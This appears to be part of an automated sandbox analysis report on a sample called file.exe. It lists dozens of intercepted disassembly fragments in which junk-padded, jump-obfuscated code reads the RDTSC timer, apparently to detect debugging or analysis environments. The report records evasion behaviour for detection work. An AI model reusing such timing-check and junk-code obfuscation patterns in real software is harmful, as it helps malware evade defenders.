Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A00C1 second address: 54A00DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99146B45A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A017B second address: 54A0181 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A0181 second address: 54A0185 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0CCD second address: 54C0CD3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0CD3 second address: 54C0D09 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99146B459Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F99146B459Bh 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F99146B45A5h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0901 second address: 54C0905 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0905 second address: 54C090B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C090B second address: 54C0911 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0911 second address: 54C0915 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500EFE second address: 5500F4B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99150F94FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F99150F9500h 0x0000000f push eax 0x00000010 pushad 0x00000011 mov ebx, esi 0x00000013 popad 0x00000014 xchg eax, ebp 0x00000015 jmp 00007F99150F9506h 0x0000001a mov ebp, esp 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F99150F94FAh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500F4B second address: 5500F51 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500F51 second address: 5500F85 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99150F94FEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushfd 0x0000000e jmp 00007F99150F94FCh 0x00000013 adc cx, 2B08h 0x00000018 jmp 00007F99150F94FBh 0x0000001d popfd 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0212 second address: 54E0244 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99146B45A4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov edi, ecx 0x0000000d call 00007F99146B459Ah 0x00000012 mov dx, si 0x00000015 pop eax 0x00000016 popad 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0244 second address: 54E0248 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0248 second address: 54E024C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E024C second address: 54E0252 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0252 second address: 54E029C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99146B45A0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov ecx, 0C2FE8BDh 0x00000010 pushfd 0x00000011 jmp 00007F99146B459Ah 0x00000016 jmp 00007F99146B45A5h 0x0000001b popfd 0x0000001c popad 0x0000001d mov ebp, esp 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 mov edx, 35E0895Eh 0x00000027 mov eax, ebx 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E029C second address: 54E02DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop edi 0x00000005 pushfd 0x00000006 jmp 00007F99150F94FAh 0x0000000b xor si, C228h 0x00000010 jmp 00007F99150F94FBh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov eax, dword ptr [ebp+08h] 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F99150F9505h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E02DA second address: 54E02FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99146B45A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and dword ptr [eax], 00000000h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov ah, bl 0x00000011 movzx ecx, dx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E02FB second address: 54E0301 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0301 second address: 54E033C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99146B45A8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b and dword ptr [eax+04h], 00000000h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F99146B45A7h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0805 second address: 54C0835 instructions: 0x00000000 rdtsc 0x00000002 call 00007F99150F9508h 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov si, bx 0x0000000d popad 0x0000000e push eax 0x0000000f pushad 0x00000010 mov di, cx 0x00000013 mov bh, ch 0x00000015 popad 0x00000016 xchg eax, ebp 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0835 second address: 54C0839 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0839 second address: 54C083F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C083F second address: 54C0845 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0845 second address: 54C0849 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0849 second address: 54C084D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C084D second address: 54C0882 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F99150F9503h 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F99150F9505h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0882 second address: 54C0892 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F99146B459Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0008 second address: 54E0016 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99150F94FAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0016 second address: 54E004D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99146B459Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F99146B45A6h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F99146B459Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E004D second address: 54E0074 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, cx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b jmp 00007F99150F9505h 0x00000010 popad 0x00000011 mov ebp, esp 0x00000013 pushad 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0074 second address: 54E00B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 mov bl, 30h 0x00000007 popad 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov di, A12Ch 0x00000010 pushfd 0x00000011 jmp 00007F99146B45A5h 0x00000016 sub ch, 00000006h 0x00000019 jmp 00007F99146B45A1h 0x0000001e popfd 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E00B0 second address: 54E00B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550065C second address: 5500672 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99146B459Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500672 second address: 5500678 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500678 second address: 550067E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550067E second address: 5500682 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500682 second address: 55006BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99146B45A4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d jmp 00007F99146B45A0h 0x00000012 xchg eax, ecx 0x00000013 pushad 0x00000014 pushad 0x00000015 push eax 0x00000016 pop ebx 0x00000017 mov cx, 63EFh 0x0000001b popad 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55006BB second address: 55006CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ah, E1h 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55006CA second address: 55006D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99146B459Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55006D9 second address: 55006FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99150F9509h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55006FD second address: 5500701 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500701 second address: 5500707 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500707 second address: 5500730 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99146B45A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [76FA65FCh] 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov edx, 103CE8F0h 0x00000016 mov edx, 379FA41Ch 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500730 second address: 5500736 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500736 second address: 550073A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550073A second address: 5500774 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test eax, eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov eax, edi 0x0000000f pushfd 0x00000010 jmp 00007F99150F9501h 0x00000015 adc ecx, 53961926h 0x0000001b jmp 00007F99150F9501h 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500774 second address: 550077A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550077A second address: 550077E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550077E second address: 55007B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F99860D7776h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushfd 0x00000012 jmp 00007F99146B459Bh 0x00000017 sbb ah, 0000005Eh 0x0000001a jmp 00007F99146B45A9h 0x0000001f popfd 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55007B8 second address: 5500841 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, 16F76527h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007F99150F94FCh 0x0000000f add cx, 6058h 0x00000014 jmp 00007F99150F94FBh 0x00000019 popfd 0x0000001a popad 0x0000001b mov ecx, eax 0x0000001d jmp 00007F99150F9506h 0x00000022 xor eax, dword ptr [ebp+08h] 0x00000025 pushad 0x00000026 push ebx 0x00000027 pop edx 0x00000028 pushfd 0x00000029 jmp 00007F99150F9506h 0x0000002e adc si, 2518h 0x00000033 jmp 00007F99150F94FBh 0x00000038 popfd 0x00000039 popad 0x0000003a and ecx, 1Fh 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F99150F9505h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500922 second address: 5500968 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F99146B45A8h 0x00000008 sub ah, FFFFFFE8h 0x0000000b jmp 00007F99146B459Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 call 00007F99146B45A8h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B0021 second address: 54B0027 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B0027 second address: 54B002D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B002D second address: 54B0031 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B0031 second address: 54B004E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F99146B45A2h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B004E second address: 54B00E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99150F94FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov cl, 2Ah 0x0000000d pushfd 0x0000000e jmp 00007F99150F9501h 0x00000013 or eax, 1E3F4B66h 0x00000019 jmp 00007F99150F9501h 0x0000001e popfd 0x0000001f popad 0x00000020 mov ebp, esp 0x00000022 pushad 0x00000023 pushad 0x00000024 pushfd 0x00000025 jmp 00007F99150F94FAh 0x0000002a xor si, D308h 0x0000002f jmp 00007F99150F94FBh 0x00000034 popfd 0x00000035 pushfd 0x00000036 jmp 00007F99150F9508h 0x0000003b sub ch, 00000068h 0x0000003e jmp 00007F99150F94FBh 0x00000043 popfd 0x00000044 popad 0x00000045 mov bh, ah 0x00000047 popad 0x00000048 and esp, FFFFFFF8h 0x0000004b push eax 0x0000004c push edx 0x0000004d push eax 0x0000004e push edx 0x0000004f pushad 0x00000050 popad 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B00E1 second address: 54B00E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B00E5 second address: 54B00EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B00EB second address: 54B00F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B00F1 second address: 54B0116 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jmp 00007F99150F94FAh 0x0000000e mov dword ptr [esp], ecx 0x00000011 pushad 0x00000012 mov cx, FC0Dh 0x00000016 mov edx, ecx 0x00000018 popad 0x00000019 xchg eax, ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B0116 second address: 54B0127 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99146B459Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B0127 second address: 54B0164 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F99150F9507h 0x00000009 xor ecx, 34ED0C1Eh 0x0000000f jmp 00007F99150F9509h 0x00000014 popfd 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B0164 second address: 54B01F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F99146B45A3h 0x00000010 and si, B62Eh 0x00000015 jmp 00007F99146B45A9h 0x0000001a popfd 0x0000001b pushfd 0x0000001c jmp 00007F99146B45A0h 0x00000021 xor al, FFFFFFA8h 0x00000024 jmp 00007F99146B459Bh 0x00000029 popfd 0x0000002a popad 0x0000002b pushfd 0x0000002c jmp 00007F99146B45A8h 0x00000031 or ch, 00000008h 0x00000034 jmp 00007F99146B459Bh 0x00000039 popfd 0x0000003a popad 0x0000003b xchg eax, ebx 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f mov bx, si 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B01F2 second address: 54B0229 instructions: 0x00000000 rdtsc 0x00000002 call 00007F99150F94FEh 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov cx, dx 0x0000000d popad 0x0000000e mov ebx, dword ptr [ebp+10h] 0x00000011 jmp 00007F99150F94FDh 0x00000016 xchg eax, esi 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F99150F94FDh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B0229 second address: 54B022F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B022F second address: 54B0233 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B0233 second address: 54B0237 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B0237 second address: 54B0296 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F99150F9506h 0x0000000e xchg eax, esi 0x0000000f pushad 0x00000010 mov edx, 120AE940h 0x00000015 popad 0x00000016 mov esi, dword ptr [ebp+08h] 0x00000019 pushad 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c pushfd 0x0000001d jmp 00007F99150F94FCh 0x00000022 sub ax, CF88h 0x00000027 jmp 00007F99150F94FBh 0x0000002c popfd 0x0000002d popad 0x0000002e xchg eax, edi 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 call 00007F99150F94FBh 0x00000037 pop eax 0x00000038 push edi 0x00000039 pop ecx 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B0296 second address: 54B02BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov edx, esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F99146B45A5h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B02BA second address: 54B02BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B02BE second address: 54B02C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B02C4 second address: 54B0343 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F99150F94FAh 0x00000009 or eax, 6A824F78h 0x0000000f jmp 00007F99150F94FBh 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F99150F9508h 0x0000001b adc si, E9D8h 0x00000020 jmp 00007F99150F94FBh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 xchg eax, edi 0x0000002a jmp 00007F99150F9506h 0x0000002f test esi, esi 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F99150F9507h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B0343 second address: 54B0349 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B0349 second address: 54B034D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B034D second address: 54B0388 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99146B459Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F998612284Dh 0x00000011 jmp 00007F99146B45A6h 0x00000016 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000001d pushad 0x0000001e mov edx, eax 0x00000020 push eax 0x00000021 push edx 0x00000022 mov ebx, ecx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B0388 second address: 54B03E6 instructions: 0x00000000 rdtsc 0x00000002 movzx eax, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 je 00007F9986B67791h 0x0000000e jmp 00007F99150F9507h 0x00000013 mov edx, dword ptr [esi+44h] 0x00000016 jmp 00007F99150F9506h 0x0000001b or edx, dword ptr [ebp+0Ch] 0x0000001e pushad 0x0000001f mov esi, 6B610BCDh 0x00000024 mov dx, si 0x00000027 popad 0x00000028 test edx, 61000000h 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F99150F94FBh 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54B03E6 second address: 54B0436 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99146B45A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F998612281Bh 0x0000000f pushad 0x00000010 mov edx, esi 0x00000012 push eax 0x00000013 push edx 0x00000014 pushfd 0x00000015 jmp 00007F99146B45A6h 0x0000001a add ax, 59A8h 0x0000001f jmp 00007F99146B459Bh 0x00000024 popfd 0x00000025 rdtsc
